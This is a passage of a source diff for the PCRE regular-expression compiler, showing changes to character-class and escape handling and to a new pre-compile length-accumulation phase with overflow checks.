+    case ESC_S:
+    return item <= 127 && (cd->ctypes[item] & ctype_space) != 0;
+
+    case ESC_w:
+    return item > 127 || (cd->ctypes[item] & ctype_word) == 0;
+
+    case ESC_W:
+    return item <= 127 && (cd->ctypes[item] & ctype_word) != 0;
+
+    case ESC_h:
+    case ESC_H:
+    switch(item)
+      {
+      case 0x09:
+      case 0x20:
+      case 0xa0:
+      case 0x1680:
+      case 0x180e:
+      case 0x2000:
+      case 0x2001:
+      case 0x2002:
+      case 0x2003:
+      case 0x2004:
+      case 0x2005:
+      case 0x2006:
+      case 0x2007:
+      case 0x2008:
+      case 0x2009:
+      case 0x200A:
+      case 0x202f:
+      case 0x205f:
+      case 0x3000:
+      return -next != ESC_h;
+      default:
+      return -next == ESC_h;
+      }
+
+    case ESC_v:
+    case ESC_V:
+    switch(item)
+      {
+      case 0x0a:
+      case 0x0b:
+      case 0x0c:
+      case 0x0d:
+      case 0x85:
+      case 0x2028:
+      case 0x2029:
+      return -next != ESC_v;
+      default:
+      return -next == ESC_v;
+      }
+
+    default:
+    return FALSE;
+    }
+
+  case OP_DIGIT:
+  return next == -ESC_D || next == -ESC_s || next == -ESC_W ||
+         next == -ESC_h || next == -ESC_v;
+
+  case OP_NOT_DIGIT:
+  return next == -ESC_d;
+
+  case OP_WHITESPACE:
+  return next == -ESC_S || next == -ESC_d || next == -ESC_w;
+
+  case OP_NOT_WHITESPACE:
+  return next == -ESC_s || next == -ESC_h || next == -ESC_v;
+
+  case OP_HSPACE:
+  return next == -ESC_S || next == -ESC_H || next == -ESC_d || next == -ESC_w;
+
+  case OP_NOT_HSPACE:
+  return next == -ESC_h;
+
+  /* Can't have \S in here because VT matches \S (Perl anomaly) */
+  case OP_VSPACE:
+  return next == -ESC_V || next == -ESC_d || next == -ESC_w;
+
+  case OP_NOT_VSPACE:
+  return next == -ESC_v;
+
+  case OP_WORDCHAR:
+  return next == -ESC_W || next == -ESC_s || next == -ESC_h || next == -ESC_v;
+
+  case OP_NOT_WORDCHAR:
+  return next == -ESC_w || next == -ESC_d;
+
+  default:
+  return FALSE;
+  }
+
+/* Control does not reach here */
+}
+
+
+
+/*************************************************
 *           Compile one branch                   *
 *************************************************/
 
-/* Scan the pattern, compiling it into the code vector. If the options are
+/* Scan the pattern, compiling it into the a vector. If the options are
 changed during the branch, the pointer is used to change the external options
-bits.
+bits. This function is used during the pre-compile phase when we are trying
+to find out the amount of memory needed, as well as during the real compile
+phase. The value of lengthptr distinguishes the two phases.
 
 Arguments:
   optionsptr     pointer to the option bits
-  brackets       points to number of extracting brackets used
   codeptr        points to the pointer to the current code point
   ptrptr         points to the current pattern pointer
   errorcodeptr   points to error code variable
@@ -1594,15 +2565,17 @@
   reqbyteptr     set to the last literal character required, else < 0
   bcptr          points to current branch chain
   cd             contains pointers to tables etc.
+  lengthptr      NULL during the real compile phase
+                 points to length accumulator during pre-compile phase
 
 Returns:         TRUE on success
                  FALSE, with *errorcodeptr set non-zero on error
 */
 
 static BOOL
-compile_branch(int *optionsptr, int *brackets, uschar **codeptr,
-  const uschar **ptrptr, int *errorcodeptr, int *firstbyteptr,
-  int *reqbyteptr, branch_chain *bcptr, compile_data *cd)
+compile_branch(int *optionsptr, uschar **codeptr, const uschar **ptrptr,
+  int *errorcodeptr, int *firstbyteptr, int *reqbyteptr, branch_chain *bcptr,
+  compile_data *cd, int *lengthptr)
 {
 int repeat_type, op_type;
 int repeat_min = 0, repeat_max = 0;      /* To please picky compilers */
@@ -1613,8 +2586,11 @@
 int req_caseopt, reqvary, tempreqvary;
 int options = *optionsptr;
 int after_manual_callout = 0;
+int length_prevgroup = 0;
 register int c;
 register uschar *code = *codeptr;
+uschar *last_code = code;
+uschar *orig_code = code;
 uschar *tempcode;
 BOOL inescq = FALSE;
 BOOL groupsetfirstbyte = FALSE;
@@ -1622,17 +2598,24 @@
 const uschar *tempptr;
 uschar *previous = NULL;
 uschar *previous_callout = NULL;
+uschar *save_hwm = NULL;
 uschar classbits[32];
 
 #ifdef SUPPORT_UTF8
 BOOL class_utf8;
 BOOL utf8 = (options & PCRE_UTF8) != 0;
 uschar *class_utf8data;
+uschar *class_utf8data_base;
 uschar utf8_char[6];
 #else
 BOOL utf8 = FALSE;
+uschar *utf8_char = NULL;
 #endif
 
+#ifdef PCRE_DEBUG
+if (lengthptr != NULL) DPRINTF((">> start branch\n"));
+#endif
+
 /* Set up the default and non-default settings for greediness */
 
 greedy_default = ((options & PCRE_UNGREEDY) != 0);
@@ -1662,27 +2645,95 @@
 for (;; ptr++)
   {
   BOOL negate_class;
+  BOOL should_flip_negation;
   BOOL possessive_quantifier;
   BOOL is_quantifier;
+  BOOL is_recurse;
+  BOOL reset_bracount;
   int class_charcount;
   int class_lastchar;
   int newoptions;
   int recno;
+  int refsign;
   int skipbytes;
   int subreqbyte;
   int subfirstbyte;
+  int terminator;
   int mclength;
   uschar mcbuffer[8];
 
-  /* Next byte in the pattern */
+  /* Get next byte in the pattern */
 
   c = *ptr;
 
+  /* If we are in the pre-compile phase, accumulate the length used for the
+  previous cycle of this loop. */
+
+  if (lengthptr != NULL)
+    {
+#ifdef PCRE_DEBUG
+    if (code > cd->hwm) cd->hwm = code;                 /* High water info */
+#endif
+    if (code > cd->start_workspace + COMPILE_WORK_SIZE) /* Check for overrun */
+      {
+      *errorcodeptr = ERR52;
+      goto FAILED;
+      }
+
+    /* There is at least one situation where code goes backwards: this is the
+    case of a zero quantifier after a class (e.g. [ab]{0}). At compile time,
+    the class is simply eliminated. However, it is created first, so we have to
+    allow memory for it. Therefore, don't ever reduce the length at this point.
+    */
+
+    if (code < last_code) code = last_code;
+
+    /* Paranoid check for integer overflow */
+
+    if (OFLOW_MAX - *lengthptr < code - last_code)
+      {
+      *errorcodeptr = ERR20;
+      goto FAILED;
+      }
+
+    *lengthptr += code - last_code;
+    DPRINTF(("length=%d added %d c=%c\n", *lengthptr, code - last_code, c));
+
+    /* If "previous" is set and it is not at the start of the work space, move
+    it back to there, in order to avoid filling up the work space. Otherwise,
+    if "previous" is NULL, reset the current code pointer to the start. */
+
+    if (previous != NULL)
+      {
+      if (previous > orig_code)
+        {
+        memmove(orig_code, previous, code - previous);
+        code -= previous - orig_code;
+        previous = orig_code;
+        }
+      }
+    else code = orig_code;
+
+    /* Remember where this code item starts so we can pick up the length
+    next time round. */
+
+    last_code = code;
+    }
+
+  /* In the real compile phase, just check the workspace used by the forward
+  reference list. */
+
+  else if (cd->hwm > cd->start_workspace + COMPILE_WORK_SIZE)
+    {
+    *errorcodeptr = ERR52;
+    goto FAILED;
+    }
+
   /* If in \Q...\E, check for the end; if not, we have a literal */
 
   if (inescq && c != 0)
     {
-    if (c == '\\' && ptr[1] == 'E')
+    if (c == CHAR_BACKSLASH && ptr[1] == CHAR_E)
       {
       inescq = FALSE;
       ptr++;
@@ -1692,7 +2743,8 @@
       {
       if (previous_callout != NULL)
         {
-        complete_callout(previous_callout, ptr, cd);
+        if (lengthptr == NULL)  /* Don't attempt in pre-compile phase */
+          complete_callout(previous_callout, ptr, cd);
         previous_callout = NULL;
         }
       if ((options & PCRE_AUTO_CALLOUT) != 0)
@@ -1707,13 +2759,15 @@
   /* Fill in length of a previous callout, except when the next thing is
   a quantifier. */
 
-  is_quantifier = c == '*' || c == '+' || c == '?' ||
-    (c == '{' && is_counted_repeat(ptr+1));
+  is_quantifier =
+    c == CHAR_ASTERISK || c == CHAR_PLUS || c == CHAR_QUESTION_MARK ||
+    (c == CHAR_LEFT_CURLY_BRACKET && is_counted_repeat(ptr+1));
 
   if (!is_quantifier && previous_callout != NULL &&
        after_manual_callout-- <= 0)
     {
-    complete_callout(previous_callout, ptr, cd);
+    if (lengthptr == NULL)      /* Don't attempt in pre-compile phase */
+      complete_callout(previous_callout, ptr, cd);
     previous_callout = NULL;
     }
 
@@ -1722,14 +2776,14 @@
   if ((options & PCRE_EXTENDED) != 0)
     {
     if ((cd->ctypes[c] & ctype_space) != 0) continue;
-    if (c == '#')
+    if (c == CHAR_NUMBER_SIGN)
       {
-      while (*(++ptr) != 0) if (IS_NEWLINE(ptr)) break;
-      if (*ptr != 0)
+      while (*(++ptr) != 0)
         {
-        ptr += cd->nllen - 1;
-        continue;
+        if (IS_NEWLINE(ptr)) { ptr += cd->nllen - 1; break; }
         }
+      if (*ptr != 0) continue;
+
       /* Else fall through to handle end of string */
       c = 0;
       }
@@ -1745,21 +2799,32 @@
 
   switch(c)
     {
-    /* The branch terminates at end of string, |, or ). */
-
-    case 0:
-    case '|':
-    case ')':
+    /* ===================================================================*/
+    case 0:                        /* The branch terminates at string end */
+    case CHAR_VERTICAL_LINE:       /* or | or ) */
+    case CHAR_RIGHT_PARENTHESIS:
     *firstbyteptr = firstbyte;
     *reqbyteptr = reqbyte;
     *codeptr = code;
     *ptrptr = ptr;
+    if (lengthptr != NULL)
+      {
+      if (OFLOW_MAX - *lengthptr < code - last_code)
+        {
+        *errorcodeptr = ERR20;
+        goto FAILED;
+        }
+      *lengthptr += code - last_code;   /* To include callout length */
+      DPRINTF((">> end branch\n"));
+      }
     return TRUE;
 
+
+    /* ===================================================================*/
     /* Handle single-character metacharacters. In multiline mode, ^ disables
     the setting of any following char as a first character. */
 
-    case '^':
+    case CHAR_CIRCUMFLEX_ACCENT:
     if ((options & PCRE_MULTILINE) != 0)
       {
       if (firstbyte == REQ_UNSET) firstbyte = REQ_NONE;
@@ -1768,7 +2833,7 @@
     *code++ = OP_CIRC;
     break;
 
-    case '$':
+    case CHAR_DOLLAR_SIGN:
     previous = NULL;
     *code++ = OP_DOLL;
     break;
@@ -1776,14 +2841,16 @@
     /* There can never be a first char if '.' is first, whatever happens about
     repeats. The value of reqbyte doesn't change either. */
 
-    case '.':
+    case CHAR_DOT:
     if (firstbyte == REQ_UNSET) firstbyte = REQ_NONE;
     zerofirstbyte = firstbyte;
     zeroreqbyte = reqbyte;
     previous = code;
-    *code++ = OP_ANY;
+    *code++ = ((options & PCRE_DOTALL) != 0)? OP_ALLANY: OP_ANY;
     break;
 
+
+    /* ===================================================================*/
     /* Character classes. If the included characters are all < 256, we build a
     32-byte bitmap of the permitted characters, except in the special case
     where there is only one such character. For negated classes, we build the
@@ -1794,78 +2861,133 @@
     opcode is compiled. It may optionally have a bit map for characters < 256,
     but those above are are explicitly listed afterwards. A flag byte tells
     whether the bitmap is present, and whether this is a negated class or not.
-    */
 
-    case '[':
+    In JavaScript compatibility mode, an isolated ']' causes an error. In
+    default (Perl) mode, it is treated as a data character. */
+
+    case CHAR_RIGHT_SQUARE_BRACKET:
+    if ((cd->external_options & PCRE_JAVASCRIPT_COMPAT) != 0)
+      {
+      *errorcodeptr = ERR64;
+      goto FAILED;
+      }
+    goto NORMAL_CHAR;
+
+    case CHAR_LEFT_SQUARE_BRACKET:
     previous = code;
 
     /* PCRE supports POSIX class stuff inside a class. Perl gives an error if
     they are encountered at the top level, so we'll do that too. */
 
-    if ((ptr[1] == ':' || ptr[1] == '.' || ptr[1] == '=') &&
-        check_posix_syntax(ptr, &tempptr, cd))
+    if ((ptr[1] == CHAR_COLON || ptr[1] == CHAR_DOT ||
+         ptr[1] == CHAR_EQUALS_SIGN) &&
+        check_posix_syntax(ptr, &tempptr))
       {
-      *errorcodeptr = (ptr[1] == ':')? ERR13 : ERR31;
+      *errorcodeptr = (ptr[1] == CHAR_COLON)? ERR13 : ERR31;
       goto FAILED;
       }
 
-    /* If the first character is '^', set the negation flag and skip it. */
+    /* If the first character is '^', set the negation flag and skip it. Also,
+    if the first few characters (either before or after ^) are \Q\E or \E we
+    skip them too. This makes for compatibility with Perl. */
 
-    if ((c = *(++ptr)) == '^')
+    negate_class = FALSE;
+    for (;;)
       {
-      negate_class = TRUE;
       c = *(++ptr);
+      if (c == CHAR_BACKSLASH)
+        {
+        if (ptr[1] == CHAR_E)
+          ptr++;
+        else if (strncmp((const char *)ptr+1,
+                          STR_Q STR_BACKSLASH STR_E, 3) == 0)
+          ptr += 3;
+        else
+          break;
+        }
+      else if (!negate_class && c == CHAR_CIRCUMFLEX_ACCENT)
+        negate_class = TRUE;
+      else break;
       }
-    else
+
+    /* Empty classes are allowed in JavaScript compatibility mode. Otherwise,
+    an initial ']' is taken as a data character -- the code below handles
+    that. In JS mode, [] must always fail, so generate OP_FAIL, whereas
+    [^] must match any character, so generate OP_ALLANY. */
+
+    if (c == CHAR_RIGHT_SQUARE_BRACKET &&
+        (cd->external_options & PCRE_JAVASCRIPT_COMPAT) != 0)
       {
-      negate_class = FALSE;
+      *code++ = negate_class? OP_ALLANY : OP_FAIL;
+      if (firstbyte == REQ_UNSET) firstbyte = REQ_NONE;
+      zerofirstbyte = firstbyte;
+      break;
       }
 
+    /* If a class contains a negative special such as \S, we need to flip the
+    negation flag at the end, so that support for characters > 255 works
+    correctly (they are all included in the class). */
+
+    should_flip_negation = FALSE;
+
     /* Keep a count of chars with values < 256 so that we can optimize the case
-    of just a single character (as long as it's < 256). For higher valued UTF-8
-    characters, we don't yet do any optimization. */
+    of just a single character (as long as it's < 256). However, For higher
+    valued UTF-8 characters, we don't yet do any optimization. */
 
     class_charcount = 0;
     class_lastchar = -1;
 
+    /* Initialize the 32-char bit map to all zeros. We build the map in a
+    temporary bit of memory, in case the class contains only 1 character (less
+    than 256), because in that case the compiled code doesn't use the bit map.
+    */
+
+    memset(classbits, 0, 32 * sizeof(uschar));
+
 #ifdef SUPPORT_UTF8
     class_utf8 = FALSE;                       /* No chars >= 256 */
-    class_utf8data = code + LINK_SIZE + 34;   /* For UTF-8 items */
+    class_utf8data = code + LINK_SIZE + 2;    /* For UTF-8 items */
+    class_utf8data_base = class_utf8data;     /* For resetting in pass 1 */
 #endif
 
-    /* Initialize the 32-char bit map to all zeros. We have to build the
-    map in a temporary bit of store, in case the class contains only 1
-    character (< 256), because in that case the compiled code doesn't use the
-    bit map. */
-
-    memset(classbits, 0, 32 * sizeof(uschar));
-
     /* Process characters until ] is reached. By writing this as a "do" it
-    means that an initial ] is taken as a data character. The first pass
-    through the regex checked the overall syntax, so we don't need to be very
-    strict here. At the start of the loop, c contains the first byte of the
-    character. */
+    means that an initial ] is taken as a data character. At the start of the
+    loop, c contains the first byte of the character. */
 
-    do
+    if (c != 0) do
       {
+      const uschar *oldptr;
+
 #ifdef SUPPORT_UTF8
       if (utf8 && c > 127)
         {                           /* Braces are required because the */
         GETCHARLEN(c, ptr, ptr);    /* macro generates multiple statements */
         }
+
+      /* In the pre-compile phase, accumulate the length of any UTF-8 extra
+      data and reset the pointer. This is so that very large classes that
+      contain a zillion UTF-8 characters no longer overwrite the work space
+      (which is on the stack). */
+
+      if (lengthptr != NULL)
+        {
+        *lengthptr += class_utf8data - class_utf8data_base;
+        class_utf8data = class_utf8data_base;
+        }
+
 #endif
 
       /* Inside \Q...\E everything is literal except \E */
 
       if (inescq)
         {
-        if (c == '\\' && ptr[1] == 'E')
+        if (c == CHAR_BACKSLASH && ptr[1] == CHAR_E)  /* If we are at \E */
           {
-          inescq = FALSE;
-          ptr++;
-          continue;
+          inescq = FALSE;                   /* Reset literal state */
+          ptr++;                            /* Skip the 'E' */
+          continue;                         /* Carry on with next */
           }
-        else goto LONE_SINGLE_CHARACTER;
+        goto CHECK_RANGE;                   /* Could be range if \E follows */
         }
 
       /* Handle POSIX class names. Perl allows a negation extension of the
@@ -1874,25 +2996,26 @@
       [.ch.] and [=ch=] ("collating elements") and fault them, as Perl
       5.6 and 5.8 do. */
 
-      if (c == '[' &&
-          (ptr[1] == ':' || ptr[1] == '.' || ptr[1] == '=') &&
-          check_posix_syntax(ptr, &tempptr, cd))
+      if (c == CHAR_LEFT_SQUARE_BRACKET &&
+          (ptr[1] == CHAR_COLON || ptr[1] == CHAR_DOT ||
+           ptr[1] == CHAR_EQUALS_SIGN) && check_posix_syntax(ptr, &tempptr))
         {
         BOOL local_negate = FALSE;
         int posix_class, taboffset, tabopt;
         register const uschar *cbits = cd->cbits;
         uschar pbits[32];
 
-        if (ptr[1] != ':')
+        if (ptr[1] != CHAR_COLON)
           {
           *errorcodeptr = ERR31;
           goto FAILED;
           }
 
         ptr += 2;
-        if (*ptr == '^')
+        if (*ptr == CHAR_CIRCUMFLEX_ACCENT)
           {
           local_negate = TRUE;
+          should_flip_negation = TRUE;  /* Note negative special */
           ptr++;
           }
 
@@ -1956,40 +3079,46 @@
         }
 
       /* Backslash may introduce a single character, or it may introduce one
-      of the specials, which just set a flag. Escaped items are checked for
-      validity in the pre-compiling pass. The sequence \b is a special case.
-      Inside a class (and only there) it is treated as backspace. Elsewhere
-      it marks a word boundary. Other escapes have preset maps ready to
-      or into the one we are building. We assume they have more than one
+      of the specials, which just set a flag. The sequence \b is a special
+      case. Inside a class (and only there) it is treated as backspace.
+      Elsewhere it marks a word boundary. Other escapes have preset maps ready
+      to 'or' into the one we are building. We assume they have more than one
       character in them, so set class_charcount bigger than one. */
 
-      if (c == '\\')
+      if (c == CHAR_BACKSLASH)
         {
-        c = check_escape(&ptr, errorcodeptr, *brackets, options, TRUE);
+        c = check_escape(&ptr, errorcodeptr, cd->bracount, options, TRUE);
+        if (*errorcodeptr != 0) goto FAILED;
 
-        if (-c == ESC_b) c = '\b';       /* \b is backslash in a class */
-        else if (-c == ESC_X) c = 'X';   /* \X is literal X in a class */
+        if (-c == ESC_b) c = CHAR_BS;       /* \b is backspace in a class */
+        else if (-c == ESC_X) c = CHAR_X;   /* \X is literal X in a class */
+        else if (-c == ESC_R) c = CHAR_R;   /* \R is literal R in a class */
         else if (-c == ESC_Q)            /* Handle start of quoted string */
           {
-          if (ptr[1] == '\\' && ptr[2] == 'E')
+          if (ptr[1] == CHAR_BACKSLASH && ptr[2] == CHAR_E)
             {
             ptr += 2; /* avoid empty string */
             }
           else inescq = TRUE;
           continue;
           }
+        else if (-c == ESC_E) continue;  /* Ignore orphan \E */
 
         if (c < 0)
           {
           register const uschar *cbits = cd->cbits;
           class_charcount += 2;     /* Greater than 1 is what matters */
-          switch (-c)
+
+          /* Save time by not doing this in the pre-compile phase. */
+
+          if (lengthptr == NULL) switch (-c)
             {
             case ESC_d:
             for (c = 0; c < 32; c++) classbits[c] |= cbits[c+cbit_digit];
             continue;
 
             case ESC_D:
+            should_flip_negation = TRUE;
             for (c = 0; c < 32; c++) classbits[c] |= ~cbits[c+cbit_digit];
             continue;
 
@@ -1998,6 +3127,7 @@
             continue;
 
             case ESC_W:
+            should_flip_negation = TRUE;
             for (c = 0; c < 32; c++) classbits[c] |= ~cbits[c+cbit_word];
             continue;
 
@@ -2007,57 +3137,228 @@
             continue;
 
             case ESC_S:
+            should_flip_negation = TRUE;
             for (c = 0; c < 32; c++) classbits[c] |= ~cbits[c+cbit_space];
             classbits[1] |= 0x08;    /* Perl 5.004 onwards omits VT from \s */
             continue;
 
-#ifdef SUPPORT_UCP
-            case ESC_p:
-            case ESC_P:
+            default:    /* Not recognized; fall through */
+            break;      /* Need "default" setting to stop compiler warning. */
+            }
+
+          /* In the pre-compile phase, just do the recognition. */
+
+          else if (c == -ESC_d || c == -ESC_D || c == -ESC_w ||
+                   c == -ESC_W || c == -ESC_s || c == -ESC_S) continue;
+
+          /* We need to deal with \H, \h, \V, and \v in both phases because
+          they use extra memory. */
+
+          if (-c == ESC_h)
+            {
+            SETBIT(classbits, 0x09); /* VT */
+            SETBIT(classbits, 0x20); /* SPACE */
+            SETBIT(classbits, 0xa0); /* NSBP */
+#ifdef SUPPORT_UTF8
+            if (utf8)
               {
-              BOOL negated;
-              int pdata;
-              int ptype = get_ucp(&ptr, &negated, &pdata, errorcodeptr);
-              if (ptype < 0) goto FAILED;
               class_utf8 = TRUE;
-              *class_utf8data++ = ((-c == ESC_p) != negated)?
-                XCL_PROP : XCL_NOTPROP;
-              *class_utf8data++ = ptype;
-              *class_utf8data++ = pdata;
-              class_charcount -= 2;   /* Not a < 256 character */
+              *class_utf8data++ = XCL_SINGLE;
+              class_utf8data += _pcre_ord2utf8(0x1680, class_utf8data);
+              *class_utf8data++ = XCL_SINGLE;
+              class_utf8data += _pcre_ord2utf8(0x180e, class_utf8data);
+              *class_utf8data++ = XCL_RANGE;
+              class_utf8data += _pcre_ord2utf8(0x2000, class_utf8data);
+              class_utf8data += _pcre_ord2utf8(0x200A, class_utf8data);
+              *class_utf8data++ = XCL_SINGLE;
+              class_utf8data += _pcre_ord2utf8(0x202f, class_utf8data);
+              *class_utf8data++ = XCL_SINGLE;
+              class_utf8data += _pcre_ord2utf8(0x205f, class_utf8data);
+              *class_utf8data++ = XCL_SINGLE;
+              class_utf8data += _pcre_ord2utf8(0x3000, class_utf8data);
               }
+#endif
             continue;
+            }
+
+          if (-c == ESC_H)
+            {
+            for (c = 0; c < 32; c++)
+              {
+              int x = 0xff;
+              switch (c)
+                {
+                case 0x09/8: x ^= 1 << (0x09%8); break;
+                case 0x20/8: x ^= 1 << (0x20%8); break;
+                case 0xa0/8: x ^= 1 << (0xa0%8); break;
+                default: break;
+                }
+              classbits[c] |= x;
+              }
+
+#ifdef SUPPORT_UTF8
+            if (utf8)
+              {
+              class_utf8 = TRUE;
+              *class_utf8data++ = XCL_RANGE;
+              class_utf8data += _pcre_ord2utf8(0x0100, class_utf8data);
+              class_utf8data += _pcre_ord2utf8(0x167f, class_utf8data);
+              *class_utf8data++ = XCL_RANGE;
+              class_utf8data += _pcre_ord2utf8(0x1681, class_utf8data);
+              class_utf8data += _pcre_ord2utf8(0x180d, class_utf8data);
+              *class_utf8data++ = XCL_RANGE;
+              class_utf8data += _pcre_ord2utf8(0x180f, class_utf8data);
+              class_utf8data += _pcre_ord2utf8(0x1fff, class_utf8data);
+              *class_utf8data++ = XCL_RANGE;
+              class_utf8data += _pcre_ord2utf8(0x200B, class_utf8data);
+              class_utf8data += _pcre_ord2utf8(0x202e, class_utf8data);
+              *class_utf8data++ = XCL_RANGE;
+              class_utf8data += _pcre_ord2utf8(0x2030, class_utf8data);
+              class_utf8data += _pcre_ord2utf8(0x205e, class_utf8data);
+              *class_utf8data++ = XCL_RANGE;
+              class_utf8data += _pcre_ord2utf8(0x2060, class_utf8data);
+              class_utf8data += _pcre_ord2utf8(0x2fff, class_utf8data);
+              *class_utf8data++ = XCL_RANGE;
+              class_utf8data += _pcre_ord2utf8(0x3001, class_utf8data);
+              class_utf8data += _pcre_ord2utf8(0x7fffffff, class_utf8data);
+              }
 #endif
+            continue;
+            }
 
-            /* Unrecognized escapes are faulted if PCRE is running in its
-            strict mode. By default, for compatibility with Perl, they are
-            treated as literals. */
+          if (-c == ESC_v)
+            {
+            SETBIT(classbits, 0x0a); /* LF */
+            SETBIT(classbits, 0x0b); /* VT */
+            SETBIT(classbits, 0x0c); /* FF */
+            SETBIT(classbits, 0x0d); /* CR */
+            SETBIT(classbits, 0x85); /* NEL */
+#ifdef SUPPORT_UTF8
+            if (utf8)
+              {
+              class_utf8 = TRUE;
+              *class_utf8data++ = XCL_RANGE;
+              class_utf8data += _pcre_ord2utf8(0x2028, class_utf8data);
+              class_utf8data += _pcre_ord2utf8(0x2029, class_utf8data);
+              }
+#endif
+            continue;
+            }
 
-            default:
-            if ((options & PCRE_EXTRA) != 0)
+          if (-c == ESC_V)
+            {
+            for (c = 0; c < 32; c++)
               {
-              *errorcodeptr = ERR7;
-              goto FAILED;
+              int x = 0xff;
+              switch (c)
+                {
+                case 0x0a/8: x ^= 1 << (0x0a%8);
+                             x ^= 1 << (0x0b%8);
+                             x ^= 1 << (0x0c%8);
+                             x ^= 1 << (0x0d%8);
+                             break;
+                case 0x85/8: x ^= 1 << (0x85%8); break;
+                default: break;
+                }
+              classbits[c] |= x;
               }
-            c = *ptr;              /* The final character */
-            class_charcount -= 2;  /* Undo the default count from above */
+
+#ifdef SUPPORT_UTF8
+            if (utf8)
+              {
+              class_utf8 = TRUE;
+              *class_utf8data++ = XCL_RANGE;
+              class_utf8data += _pcre_ord2utf8(0x0100, class_utf8data);
+              class_utf8data += _pcre_ord2utf8(0x2027, class_utf8data);
+              *class_utf8data++ = XCL_RANGE;
+              class_utf8data += _pcre_ord2utf8(0x2029, class_utf8data);
+              class_utf8data += _pcre_ord2utf8(0x7fffffff, class_utf8data);
+              }
+#endif
+            continue;
             }
+
+          /* We need to deal with \P and \p in both phases. */
+
+#ifdef SUPPORT_UCP
+          if (-c == ESC_p || -c == ESC_P)
+            {
+            BOOL negated;
+            int pdata;
+            int ptype = get_ucp(&ptr, &negated, &pdata, errorcodeptr);
+            if (ptype < 0) goto FAILED;
+            class_utf8 = TRUE;
+            *class_utf8data++ = ((-c == ESC_p) != negated)?
+              XCL_PROP : XCL_NOTPROP;
+            *class_utf8data++ = ptype;
+            *class_utf8data++ = pdata;
+            class_charcount -= 2;   /* Not a < 256 character */
+            continue;
+            }
+#endif
+          /* Unrecognized escapes are faulted if PCRE is running in its
+          strict mode. By default, for compatibility with Perl, they are
+          treated as literals. */
+
+          if ((options & PCRE_EXTRA) != 0)
+            {
+            *errorcodeptr = ERR7;
+            goto FAILED;
+            }
+
+          class_charcount -= 2;  /* Undo the default count from above */
+          c = *ptr;              /* Get the final character and fall through */
           }
 
         /* Fall through if we have a single character (c >= 0). This may be
-        > 256 in UTF-8 mode. */
+        greater than 256 in UTF-8 mode. */
 
         }   /* End of backslash handling */
 
       /* A single character may be followed by '-' to form a range. However,
       Perl does not permit ']' to be the end of the range. A '-' character
-      here is treated as a literal. */
+      at the end is treated as a literal. Perl ignores orphaned \E sequences
+      entirely. The code for handling \Q and \E is messy. */
 
-      if (ptr[1] == '-' && ptr[2] != ']')
+      CHECK_RANGE:
+      while (ptr[1] == CHAR_BACKSLASH && ptr[2] == CHAR_E)
         {
+        inescq = FALSE;
+        ptr += 2;
+        }
+
+      oldptr = ptr;
+
+      /* Remember \r or \n */
+
+      if (c == CHAR_CR || c == CHAR_NL) cd->external_flags |= PCRE_HASCRORLF;
+
+      /* Check for range */
+
+      if (!inescq && ptr[1] == CHAR_MINUS)
+        {
         int d;
         ptr += 2;
+        while (*ptr == CHAR_BACKSLASH && ptr[1] == CHAR_E) ptr += 2;
 
+        /* If we hit \Q (not followed by \E) at this point, go into escaped
+        mode. */
+
+        while (*ptr == CHAR_BACKSLASH && ptr[1] == CHAR_Q)
+          {
+          ptr += 2;
+          if (*ptr == CHAR_BACKSLASH && ptr[1] == CHAR_E)
+            { ptr += 2; continue; }
+          inescq = TRUE;
+          break;
+          }
+
+        if (*ptr == 0 || (!inescq && *ptr == CHAR_RIGHT_SQUARE_BRACKET))
+          {
+          ptr = oldptr;
+          goto LONE_SINGLE_CHARACTER;
+          }
+
 #ifdef SUPPORT_UTF8
         if (utf8)
           {                           /* Braces are required because the */
@@ -2071,30 +3372,41 @@
         not any of the other escapes. Perl 5.6 treats a hyphen as a literal
         in such circumstances. */
 
-        if (d == '\\')
+        if (!inescq && d == CHAR_BACKSLASH)
           {
-          const uschar *oldptr = ptr;
-          d = check_escape(&ptr, errorcodeptr, *brackets, options, TRUE);
+          d = check_escape(&ptr, errorcodeptr, cd->bracount, options, TRUE);
+          if (*errorcodeptr != 0) goto FAILED;
 
-          /* \b is backslash; \X is literal X; any other special means the '-'
-          was literal */
+          /* \b is backspace; \X is literal X; \R is literal R; any other
+          special means the '-' was literal */
 
           if (d < 0)
             {
-            if (d == -ESC_b) d = '\b';
-            else if (d == -ESC_X) d = 'X'; else
+            if (d == -ESC_b) d = CHAR_BS;
+            else if (d == -ESC_X) d = CHAR_X;
+            else if (d == -ESC_R) d = CHAR_R; else
               {
-              ptr = oldptr - 2;
+              ptr = oldptr;
               goto LONE_SINGLE_CHARACTER;  /* A few lines below */
               }
             }
           }
 
-        /* The check that the two values are in the correct order happens in
-        the pre-pass. Optimize one-character ranges */
+        /* Check that the two values are in the correct order. Optimize
+        one-character ranges */
 
+        if (d < c)
+          {
+          *errorcodeptr = ERR8;
+          goto FAILED;
+          }
+
         if (d == c) goto LONE_SINGLE_CHARACTER;  /* A few lines below */
 
+        /* Remember \r or \n */
+
+        if (d == CHAR_CR || d == CHAR_NL) cd->external_flags |= PCRE_HASCRORLF;
+
         /* In UTF-8 mode, if the upper limit is > 255, or > 127 for caseless
         matching, we have to use an XCLASS with extra data items. Caseless
         matching for characters > 127 is available only if UCP support is
@@ -2112,19 +3424,23 @@
 #ifdef SUPPORT_UCP
           if ((options & PCRE_CASELESS) != 0)
             {
-            int occ, ocd;
-            int cc = c;
-            int origd = d;
+            unsigned int occ, ocd;
+            unsigned int cc = c;
+            unsigned int origd = d;
             while (get_othercase_range(&cc, origd, &occ, &ocd))
               {
-              if (occ >= c && ocd <= d) continue;  /* Skip embedded ranges */
+              if (occ >= (unsigned int)c &&
+                  ocd <= (unsigned int)d)
+                continue;                          /* Skip embedded ranges */
 
-              if (occ < c  && ocd >= c - 1)        /* Extend the basic range */
+              if (occ < (unsigned int)c  &&
+                  ocd >= (unsigned int)c - 1)      /* Extend the basic range */
                 {                                  /* if there is overlap,   */
                 c = occ;                           /* noting that if occ < c */
                 continue;                          /* we can't have ocd > d  */
                 }                                  /* because a subrange is  */
-              if (ocd > d && occ <= d + 1)         /* always shorter than    */
+              if (ocd > (unsigned int)d &&
+                  occ <= (unsigned int)d + 1)      /* always shorter than    */
                 {                                  /* the basic range.       */
                 d = ocd;
                 continue;
@@ -2172,7 +3488,12 @@
         ranges that lie entirely within 0-127 when there is UCP support; else
         for partial ranges without UCP support. */
 
-        for (; c <= d; c++)
+        class_charcount += d - c + 1;
+        class_lastchar = d;
+
+        /* We can save a bit of time by skipping this in the pre-compile. */
+
+        if (lengthptr == NULL) for (; c <= d; c++)
           {
           classbits[c/8] |= (1 << (c&7));
           if ((options & PCRE_CASELESS) != 0)
@@ -2180,8 +3501,6 @@
